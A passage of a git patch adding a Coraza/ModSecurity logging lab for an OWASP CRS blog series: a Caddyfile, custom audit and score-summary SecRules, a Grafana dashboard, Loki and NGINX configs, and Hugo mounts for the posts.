volumes: + - ./grafana/provisioning:/etc/grafana/provisioning:ro + - ./grafana/dashboards:/var/lib/grafana/dashboards:ro + - grafana-data:/var/lib/grafana + ports: + - "${BIND_ADDR:-127.0.0.1}:3000:3000" + depends_on: + - loki + +volumes: + waf-logs: + loki-data: + alloy-data: + grafana-data: diff --git a/examples/crs-logging/grafana-loki/coraza/Caddyfile b/examples/crs-logging/grafana-loki/coraza/Caddyfile new file mode 100644 index 00000000..68b57b09 --- /dev/null +++ b/examples/crs-logging/grafana-loki/coraza/Caddyfile @@ -0,0 +1,52 @@ +# Caddy + Coraza + OWASP CRS, for the CRS logging series (Part 3). +# +# The coraza-crs image generates a Caddyfile from environment variables, but +# that one sends Caddy's log (which is where Coraza writes its alerts) to +# stderr. This file replaces it (mounted at /config/caddy/Caddyfile) so that +# the log goes to a file Grafana Alloy can tail. The include chain below is +# the image's own, minus the plugin directories this lab does not use. + +{ + order coraza_waf first + + # Caddy's own log. Coraza's rule matches go through the logger + # "http.handlers.waf"; everything else here is Caddy housekeeping. + # Level INFO: Coraza logs CRITICAL and ERROR matches at "error", WARNING + # matches and blocking decisions at "warn", NOTICE matches at "info". + log { + output file /var/log/coraza/caddy.log + format json { + time_format rfc3339_nano + } + level INFO + } + + # Take the client address from X-Forwarded-For when the request comes + # from a trusted proxy, so Coraza sees (and logs) the real client. The + # lab trusts the private ranges and Tailscale's 100.64.0.0/10 because the + # traffic generator fakes client addresses; in production list your load + # balancers and nothing else. Same policy as ../../waf/nginx-realip.conf. + servers { + trusted_proxies static private_ranges 100.64.0.0/10 + client_ip_headers X-Forwarded-For + } +} + +:8080 { + coraza_waf { + # Generated by the image from the CORAZA_* environment variables + include /opt/coraza/config/coraza.conf + include /opt/coraza/config.d/*.conf + + # CRS setup, generated from BLOCKING_PARANOIA, DETECTION_PARANOIA, ... + include /opt/coraza/config/crs-setup.conf + + # CRS + include /opt/coraza/owasp-crs/rules/*.conf + + # Our rules: the CRS score summary and the audit log relevance rule + include /opt/coraza/rules.d/*.conf + } + + reverse_proxy backend:80 +} diff --git a/examples/crs-logging/grafana-loki/coraza/audit-relevant.conf b/examples/crs-logging/grafana-loki/coraza/audit-relevant.conf new file mode 100644 index 00000000..d2869fbf --- /dev/null +++ b/examples/crs-logging/grafana-loki/coraza/audit-relevant.conf @@ -0,0 +1,26 @@ +# ------------------------------------------------------------------------ +# OWASP CRS logging series: audit log every transaction that scored +# +# With `SecAuditEngine RelevantOnly`, ModSecurity writes a transaction to the +# audit log when its response status matches SecAuditLogRelevantStatus OR +# when a rule with `auditlog` matched. Coraza only looks at the status. A +# request that scored at the detection paranoia level but was not blocked +# (status 200) therefore never reaches Coraza's audit log, and neither do +# the false positives you are trying to find. +# +# This rule restores the ModSecurity behaviour: in phase 5, before Coraza +# decides whether to write the audit log, it switches the audit engine on +# for this one transaction if CRS gave it any points. Transactions that did +# not score stay out of the log, as before. +# +# Load it after CRS (it is included from /opt/coraza/rules.d/). Rule IDs +# 1-99,999 are reserved for local use. +# ------------------------------------------------------------------------ + +SecRule TX:DETECTION_ANOMALY_SCORE "@gt 0" \ + "id:99902,\ + phase:5,\ + pass,\ + t:none,\ + nolog,\ + ctl:auditEngine=On" diff --git a/examples/crs-logging/grafana-loki/grafana/dashboards/crs-overview.json b/examples/crs-logging/grafana-loki/grafana/dashboards/crs-overview.json new file mode 100644 index 00000000..ec98d027 --- /dev/null +++ b/examples/crs-logging/grafana-loki/grafana/dashboards/crs-overview.json @@ -0,0 +1,1132 @@ +{ + "uid": "crs-coraza-overview", + "title": "OWASP CRS - Coraza overview", + "description": "What the WAF is seeing: rule matches, blocked requests, attack categories, anomaly scores, and the raw logs. Built for the OWASP CRS logging blog series.", + "tags": [ + "owasp", + "crs", + "coraza", + "waf" + ], + "timezone": "browser", + "editable": true, + "graphTooltip": 1, + "time": { + "from": "now-24h", + "to": "now" + }, + "refresh": "30s", + "schemaVersion": 39, + "templating": { + "list": [ + { + "name": "attack", + "label": "Attack category", + "type": "query", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "definition": "label_values({job=\"waf-alerts\"}, attack)", + "query": { + "label": "attack", + "refId": "LokiVariableQueryEditor-VariableQuery", + "stream": "{job=\"waf-alerts\"}", + "type": 1 + }, + "includeAll": true, + "multi": true, + "allValue": ".*", + "current": { + "text": "All", + "value": "$__all" + }, + "refresh": 2, + "sort": 1 + }, + { + "name": "rule_id", + "label": "Rule ID", + "type": "query", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "definition": "label_values({job=\"waf-alerts\"}, rule_id)", + "query": { + "label": "rule_id", + "refId": "LokiVariableQueryEditor-VariableQuery", + "stream": "{job=\"waf-alerts\"}", + "type": 1 + }, + "includeAll": true, + "multi": true, + "allValue": ".*", + "current": { + "text": "All", + "value": "$__all" + }, + "refresh": 2, + "sort": 3 + } + ] + }, + "panels": [ + { + "id": 1, + "type": "stat", + "title": "Rule matches", + "gridPos": { + "x": 0, + "y": 0, + "w": 6, + "h": 4 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum(count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"}[$__range]))", + "queryType": "instant", + "instant": true, + "range": false + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "none", + "textMode": "auto", + "justifyMode": "auto", + "orientation": "auto" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "fixed", + "fixedColor": "blue" + }, + "unit": "short", + "noValue": "0" + }, + "overrides": [] + } + }, + { + "id": 2, + "type": "stat", + "title": "Blocked requests", + "gridPos": { + "x": 6, + "y": 0, + "w": 6, + "h": 4 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum(count_over_time({job=\"waf-alerts\", event=\"block\"}[$__range]))", + "queryType": "instant", + "instant": true, + "range": false + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "none", + "textMode": "auto", + "justifyMode": "auto", + "orientation": "auto" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "fixed", + "fixedColor": "red" + }, + "unit": "short", + "noValue": "0" + }, + "overrides": [] + } + }, + { + "id": 3, + "type": "stat", + "title": "Transactions in the audit log", + "gridPos": { + "x": 12, + "y": 0, + "w": 6, + "h": 4 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum(count_over_time({job=\"waf-audit\"}[$__range]))", + "queryType": "instant", + "instant": true, + "range": false + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "none", + "textMode": "auto", + "justifyMode": "auto", + "orientation": "auto" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "fixed", + "fixedColor": "purple" + }, + "unit": "short", + "noValue": "0" + }, + "overrides": [] + } + }, + { + "id": 4, + "type": "stat", + "title": "Distinct clients with alerts", + "gridPos": { + "x": 18, + "y": 0, + "w": 6, + "h": 4 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "count(sum by (client_ip) (count_over_time({job=\"waf-alerts\", event=\"alert\"} | client_ip != \"\" [$__range])))", + "queryType": "instant", + "instant": true, + "range": false + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "none", + "textMode": "auto", + "justifyMode": "auto", + "orientation": "auto" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "fixed", + "fixedColor": "orange" + }, + "unit": "short", + "noValue": "0" + }, + "overrides": [] + } + }, + { + "id": 10, + "type": "timeseries", + "title": "Rule matches over time, by attack category", + "gridPos": { + "x": 0, + "y": 4, + "w": 16, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum by (attack) (count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"}[$__auto]))", + "legendFormat": "{{attack}}", + "queryType": "range" + } + ], + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short", + "custom": { + "drawStyle": "bars", + "fillOpacity": 80, + "lineWidth": 1, + "stacking": { + "mode": "normal", + "group": "A" + }, + "axisPlacement": "auto" + } + }, + "overrides": [] + } + }, + { + "id": 11, + "type": "piechart", + "title": "Attack categories", + "gridPos": { + "x": 16, + "y": 4, + "w": 8, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum by (attack) (count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"}[$__range]))", + "legendFormat": "{{attack}}", + "queryType": "range" + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "pieType": "donut", + "displayLabels": [ + "percent" + ], + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true, + "values": [ + "value" + ] + }, + "tooltip": { + "mode": "single" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short" + }, + "overrides": [] + }, + "description": "" + }, + { + "id": 20, + "type": "table", + "title": "Top rules", + "gridPos": { + "x": 0, + "y": 13, + "w": 12, + "h": 10 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "topk(15, sum by (rule_id, msg) (count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"} | msg != \"\" [$__range])))", + "queryType": "instant", + "instant": true, + "range": false, + "format": "table" + } + ], + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Time": true + }, + "indexByName": { + "rule_id": 0, + "msg": 1, + "Value": 2, + "Value #A": 2 + }, + "renameByName": { + "rule_id": "Rule", + "msg": "Message", + "Value": "Matches", + "Value #A": "Matches" + } + } + }, + { + "id": "sortBy", + "options": { + "sort": [ + { + "field": "Matches", + "desc": true + } + ] + } + } + ], + "options": { + "showHeader": true, + "cellHeight": "sm", + "footer": { + "show": false + } + }, + "fieldConfig": { + "defaults": { + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + } + } + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Rule" + }, + "properties": [ + { + "id": "custom.width", + "value": 90 + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "Matches" + }, + "properties": [ + { + "id": "custom.width", + "value": 90 + } + ] + } + ] + } + }, + { + "id": 21, + "type": "table", + "title": "Most targeted paths", + "gridPos": { + "x": 12, + "y": 13, + "w": 12, + "h": 10 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "topk(15, sum by (path) (count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"} | path != \"\" [$__range])))", + "queryType": "instant", + "instant": true, + "range": false, + "format": "table" + } + ], + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Time": true + }, + "indexByName": { + "path": 0, + "Value": 1, + "Value #A": 1 + }, + "renameByName": { + "path": "Path", + "Value": "Matches", + "Value #A": "Matches" + } + } + }, + { + "id": "sortBy", + "options": { + "sort": [ + { + "field": "Matches", + "desc": true + } + ] + } + } + ], + "options": { + "showHeader": true, + "cellHeight": "sm", + "footer": { + "show": false + } + }, + "fieldConfig": { + "defaults": { + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + } + } + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Matches" + }, + "properties": [ + { + "id": "custom.width", + "value": 90 + } + ] + } + ] + } + }, + { + "id": 30, + "type": "bargauge", + "title": "Top clients", + "gridPos": { + "x": 0, + "y": 23, + "w": 8, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "topk(10, sum by (client_ip) (count_over_time({job=\"waf-alerts\", event=\"alert\", attack=~\"$attack\", rule_id=~\"$rule_id\"} | client_ip != \"\" [$__range])))", + "legendFormat": "{{client_ip}}", + "queryType": "range" + } + ], + "options": { + "orientation": "horizontal", + "displayMode": "gradient", + "valueMode": "color", + "showUnfilled": true, + "namePlacement": "auto", + "sizing": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "continuous-BlPu" + }, + "unit": "short", + "min": 0 + }, + "overrides": [] + }, + "description": "" + }, + { + "id": 31, + "type": "piechart", + "title": "Paranoia level of matched rules", + "gridPos": { + "x": 8, + "y": 23, + "w": 8, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum by (paranoia_level) (count_over_time({job=\"waf-alerts\", event=\"alert\", paranoia_level!=\"\", attack=~\"$attack\", rule_id=~\"$rule_id\"}[$__range]))", + "legendFormat": "PL{{paranoia_level}}", + "queryType": "range" + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "pieType": "donut", + "displayLabels": [ + "percent" + ], + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true, + "values": [ + "value" + ] + }, + "tooltip": { + "mode": "single" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short" + }, + "overrides": [] + }, + "description": "" + }, + { + "id": 32, + "type": "piechart", + "title": "Severity of matched rules", + "gridPos": { + "x": 16, + "y": 23, + "w": 8, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum by (severity) (count_over_time({job=\"waf-alerts\", event=\"alert\", severity!=\"\", attack=~\"$attack\", rule_id=~\"$rule_id\"}[$__range]))", + "legendFormat": "{{severity}}", + "queryType": "range" + } + ], + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "pieType": "donut", + "displayLabels": [ + "percent" + ], + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true, + "values": [ + "value" + ] + }, + "tooltip": { + "mode": "single" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "CRITICAL" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "red" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "ERROR" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "orange" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "WARNING" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "yellow" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "NOTICE" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "blue" + } + } + ] + } + ] + }, + "description": "" + }, + { + "id": 40, + "type": "timeseries", + "title": "Transactions in the audit log: blocked vs. logged only", + "gridPos": { + "x": 0, + "y": 32, + "w": 12, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "sum by (blocked) (count_over_time({job=\"waf-audit\"}[$__auto]))", + "legendFormat": "blocked={{blocked}}", + "queryType": "range" + } + ], + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short", + "custom": { + "drawStyle": "bars", + "fillOpacity": 80, + "lineWidth": 1, + "stacking": { + "mode": "normal", + "group": "A" + } + } + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "blocked=true" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "red" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "blocked=false" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "green" + } + } + ] + } + ] + } + }, + { + "id": 41, + "type": "timeseries", + "title": "Highest inbound anomaly score per interval (summary rule)", + "description": "Comes from the custom phase 5 summary rule (id 99901); Coraza also logs CRS's own report, rule 980170. The detection score includes rules above the blocking paranoia level: the gap between the two lines is what a higher paranoia level would have caught.", + "gridPos": { + "x": 12, + "y": 32, + "w": 12, + "h": 9 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "max(max_over_time({job=\"waf-alerts\", event=\"summary\"} | unwrap inbound_blocking [$__auto]))", + "legendFormat": "blocking PL score", + "queryType": "range" + }, + { + "refId": "B", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "max(max_over_time({job=\"waf-alerts\", event=\"summary\"} | unwrap inbound_detection [$__auto]))", + "legendFormat": "detection PL score", + "queryType": "range" + }, + { + "refId": "C", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "max(max_over_time({job=\"waf-alerts\", event=\"summary\"} | unwrap inbound_threshold [$__auto]))", + "legendFormat": "threshold", + "queryType": "range" + } + ], + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "unit": "short", + "custom": { + "drawStyle": "line", + "lineWidth": 2, + "fillOpacity": 0, + "spanNulls": true, + "pointSize": 4, + "showPoints": "auto" + } + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "threshold" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "red" + } + }, + { + "id": "custom.lineStyle", + "value": { + "fill": "dash", + "dash": [ + 10, + 10 + ] + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "detection PL score" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "orange" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "blocking PL score" + }, + "properties": [ + { + "id": "color", + "value": { + "mode": "fixed", + "fixedColor": "blue" + } + } + ] + } + ] + } + }, + { + "id": 50, + "type": "logs", + "title": "Recent alerts (Caddy log)", + "gridPos": { + "x": 0, + "y": 41, + "w": 24, + "h": 12 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "{job=\"waf-alerts\", event=~\"alert|block\", attack=~\"$attack\", rule_id=~\"$rule_id\"} | line_format \"[{{.rule_id}}] {{.msg}} | {{.uri}} | client={{.client_ip}} | {{.data}}\"", + "queryType": "range", + "maxLines": 200 + } + ], + "options": { + "showTime": true, + "showLabels": false, + "showCommonLabels": false, + "wrapLogMessage": true, + "prettifyLogMessage": false, + "enableLogDetails": true, + "dedupStrategy": "none", + "sortOrder": "Descending" + } + }, + { + "id": 51, + "type": "logs", + "title": "Transactions (JSON audit log)", + "description": "Expand a line to see the full ModSecurity audit log entry, including request headers and every rule that matched.", + "gridPos": { + "x": 0, + "y": 53, + "w": 24, + "h": 12 + }, + "datasource": { + "type": "loki", + "uid": "loki" + }, + "targets": [ + { + "refId": "A", + "datasource": { + "type": "loki", + "uid": "loki" + }, + "expr": "{job=\"waf-audit\"} | line_format \"{{.method}} {{.uri}} -> {{ if eq .blocked \\\"true\\\" }}blocked{{ else }}{{.status}}{{ end }} client={{.client_ip}} unique_id={{.unique_id}}\"", + "queryType": "range", + "maxLines": 200 + } + ], + "options": { + "showTime": true, + "showLabels": false, + "showCommonLabels": false, + "wrapLogMessage": true, + "prettifyLogMessage": false, + "enableLogDetails": true, + "dedupStrategy": "none", + "sortOrder": "Descending" + } + } + ] +} diff --git a/examples/crs-logging/grafana-loki/grafana/provisioning/dashboards/crs.yaml b/examples/crs-logging/grafana-loki/grafana/provisioning/dashboards/crs.yaml new file mode 100644 index 00000000..81187434 --- /dev/null +++ b/examples/crs-logging/grafana-loki/grafana/provisioning/dashboards/crs.yaml @@ -0,0 +1,11 @@ +apiVersion: 1 + +providers: + - name: OWASP CRS + folder: "" + type: file + disableDeletion: false + allowUiUpdates: true + options: + path: /var/lib/grafana/dashboards + foldersFromFilesStructure: false diff --git a/examples/crs-logging/grafana-loki/grafana/provisioning/datasources/loki.yaml b/examples/crs-logging/grafana-loki/grafana/provisioning/datasources/loki.yaml new file mode 100644 index 00000000..fba0b1b8 --- /dev/null +++ b/examples/crs-logging/grafana-loki/grafana/provisioning/datasources/loki.yaml @@ -0,0 +1,10 @@ +apiVersion: 1 + +datasources: + - name: Loki + uid: loki + type: loki + access: proxy + url: http://loki:3100 + isDefault: true + editable: true diff --git a/examples/crs-logging/grafana-loki/loki/loki-config.yaml b/examples/crs-logging/grafana-loki/loki/loki-config.yaml new file mode 100644 index 00000000..66507bfa --- /dev/null +++ b/examples/crs-logging/grafana-loki/loki/loki-config.yaml @@ -0,0 +1,52 @@ +# Loki, single binary, local filesystem storage. Good for a lab, not for +# production (no replication, no object storage, no retention). +auth_enabled: false + +server: + http_listen_port: 3100 + log_level: warn + +common: + instance_addr: 127.0.0.1 + path_prefix: /loki + storage: + filesystem: + chunks_directory: /loki/chunks + rules_directory: /loki/rules + replication_factor: 1 + ring: + kvstore: + store: inmemory + +schema_config: + configs: + - from: "2024-04-01" + store: tsdb + object_store: filesystem + schema: v13 + index: + prefix: index_ + period: 24h + +ingester: + # Lab convenience: no write-ahead log. With the WAL enabled Loki + # throttles (and silently loses) writes when the disk holding /loki is + # more than 90% full, which is surprisingly common on laptops. In + # production keep the WAL on and give Loki a disk of its own. + wal: + enabled: false + +limits_config: + # Structured metadata lets us attach high cardinality fields (URI, client + # address, unique ID) to log lines without turning them into labels. + allow_structured_metadata: true + volume_enabled: true + +compactor: + working_directory: /loki/compactor + +pattern_ingester: + enabled: true + +analytics: + reporting_enabled: false diff --git a/examples/crs-logging/waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf b/examples/crs-logging/waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf new file mode 100644 index 00000000..a7884978 --- /dev/null +++ b/examples/crs-logging/waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf @@ -0,0 +1,29 @@ +# ------------------------------------------------------------------------ +# OWASP CRS logging series: per-transaction anomaly score summary +# +# CRS ships its own reporting rule (980170) that writes a line with all the +# anomaly scores in phase 5. On ModSecurity v3 (libmodsecurity, which the +# official NGINX container uses) that line never reaches the error log or +# the audit log: v3 implements the `noauditlog` action by discarding the +# message altogether. The result is that the single most useful log line +# CRS produces is invisible on the most common deployment. +# +# This rule runs after all CRS rules (RESPONSE-999 is the last file +# included) and writes a key=value summary that is trivial to parse with +# Logstash, Grafana Alloy, or a one-line grep. It fires for every +# transaction that scored at least one point at the detection paranoia +# level, exactly like CRS's own reporting level 4. +# +# Rule IDs 1-99,999 are reserved for local use, so there is no risk of a +# clash with CRS or with plugins. +# ------------------------------------------------------------------------ + +SecRule TX:DETECTION_ANOMALY_SCORE "@gt 0" \ + "id:99901,\ + phase:5,\ + pass,\ + t:none,\ + log,\ + auditlog,\ + msg:'CRS summary: inbound_blocking=%{tx.blocking_inbound_anomaly_score} inbound_detection=%{tx.detection_inbound_anomaly_score} inbound_pl=%{tx.inbound_anomaly_score_pl1}-%{tx.inbound_anomaly_score_pl2}-%{tx.inbound_anomaly_score_pl3}-%{tx.inbound_anomaly_score_pl4} inbound_threshold=%{tx.inbound_anomaly_score_threshold} outbound_blocking=%{tx.blocking_outbound_anomaly_score} outbound_detection=%{tx.detection_outbound_anomaly_score} outbound_threshold=%{tx.outbound_anomaly_score_threshold} sqli=%{tx.sql_injection_score} xss=%{tx.xss_score} rfi=%{tx.rfi_score} lfi=%{tx.lfi_score} rce=%{tx.rce_score} phpi=%{tx.php_injection_score} http=%{tx.http_violation_score} sess=%{tx.session_fixation_score} blocking_pl=%{tx.blocking_paranoia_level} detection_pl=%{tx.detection_paranoia_level}',\ + tag:'crs-summary'" diff --git a/examples/crs-logging/waf/nginx-realip.conf b/examples/crs-logging/waf/nginx-realip.conf new file mode 100644 index 00000000..da7962f0 --- /dev/null +++ b/examples/crs-logging/waf/nginx-realip.conf @@ -0,0 +1,23 @@ +# Make ModSecurity see the real client address when the WAF sits behind a +# proxy or load balancer that sets X-Forwarded-For. +# +# The official container can configure the realip module through the +# REAL_IP_HEADER / SET_REAL_IP_FROM variables, but it writes those +# directives into the `location` block. NGINX applies location level realip +# settings in the pre-access phase, and the ModSecurity connector has +# already read the connection address by then (it runs in the rewrite +# phase). Declaring the directives at `http` level, as this file does, makes +# NGINX replace the address in the post-read phase, before ModSecurity runs. +# +# Only trust proxies you control. The lab trusts the private ranges, plus +# the 100.64.0.0/10 range that Tailscale uses (for when the stack is +# published on a Tailscale address with BIND_ADDR), because the traffic +# generator fakes client addresses through X-Forwarded-For. In production +# list the addresses of your load balancers and nothing else. + +set_real_ip_from 10.0.0.0/8; +set_real_ip_from 172.16.0.0/12; +set_real_ip_from 192.168.0.0/16; +set_real_ip_from 100.64.0.0/10; +real_ip_header X-Forwarded-For; +real_ip_recursive on; From 33b44ef07f6cc403aee095aa37c918058903fb78 Mon Sep 17 00:00:00 2001 From: Felipe Zipitria Date: Fri, 23 Oct 2026 13:59:35 -0300 Subject: [PATCH 3/6] docs(blog): add "Logging with OWASP CRS" series Three posts as page bundles: - Part 1: what ModSecurity and CRS log, how to read it, what to look for, and the settings and summary rule to add before shipping logs. - Part 2 (draft): ModSecurity logs on the Elastic Stack. - Part 3 (draft): Coraza logs on Grafana and Loki. Each post attaches the example files it uses (mounted from examples/crs-logging via module mounts in config/_default/hugo.yaml) and a zip of all of them. CI checks that the committed zips match the example files. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/test.yml | 3 + config/_default/hugo.yaml | 38 +- .../crs-logging-waf.zip | Bin 0 -> 6891 bytes .../index.md | 265 +++++++++++++ .../crs-logging-elk.zip | Bin 0 -> 21162 bytes .../index.md | 249 ++++++++++++ .../crs-logging-grafana-loki.zip | Bin 0 -> 16937 bytes .../index.md | 364 ++++++++++++++++++ .../2026/11/crs-logging-grafana-dashboard.png | Bin 0 -> 514380 bytes .../2026/11/crs-logging-kibana-dashboard.png | Bin 0 -> 249073 bytes 10 files changed, 918 insertions(+), 1 deletion(-) create mode 100644 content/blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you/crs-logging-waf.zip create mode 100644 content/blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you/index.md create mode 100644 content/blog/2026-11-10-crs-logging-part-2-elastic-stack/crs-logging-elk.zip create mode 100644 content/blog/2026-11-10-crs-logging-part-2-elastic-stack/index.md create mode 100644 content/blog/2026-11-17-crs-logging-part-3-grafana-loki/crs-logging-grafana-loki.zip create mode 100644 content/blog/2026-11-17-crs-logging-part-3-grafana-loki/index.md create mode 100644 static/images/2026/11/crs-logging-grafana-dashboard.png create mode 100644 static/images/2026/11/crs-logging-kibana-dashboard.png diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index ce9af28a..e0248e29 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -35,6 +35,9 @@ jobs: with: submodules: recursive + - name: Check example archives are up to date + run: python3 examples/crs-logging/build-archives.py --check + - name: Setup Pages id: pages uses: actions/configure-pages@45bfe0192ca1faeb007ade9deae92b16b8254a0d # v6 diff --git a/config/_default/hugo.yaml b/config/_default/hugo.yaml index 1809f01e..baa940fa 100644 --- a/config/_default/hugo.yaml +++ b/config/_default/hugo.yaml @@ -42,4 +42,40 @@ markup: subscript: enable: true superscript: - enable: true \ No newline at end of file + enable: true +######################## module mounts #################### +# Declaring any mount replaces Hugo's defaults, so the default project +# mounts are listed first, unchanged. +# +# The remaining mounts publish the runnable example stacks under +# examples/ as page resources of the blog posts that use them, so the +# files live in one place and each post can list them with the +# `resources` shortcode. Paths inside a bundle mirror the examples +# directory (for example `elk/compose.yaml`). +module: + mounts: + - source: content + target: content + - source: static + target: static + - source: layouts + target: layouts + - source: data + target: data + - source: assets + target: assets + - source: i18n + target: i18n + - source: archetypes + target: archetypes + + # CRS logging series + - source: examples/crs-logging + target: content/blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you + includeFiles: ["generate-traffic.sh", "waf/**"] + - source: examples/crs-logging + target: content/blog/2026-11-10-crs-logging-part-2-elastic-stack + includeFiles: ["generate-traffic.sh", "waf/**", "elk/**"] + - source: examples/crs-logging + target: 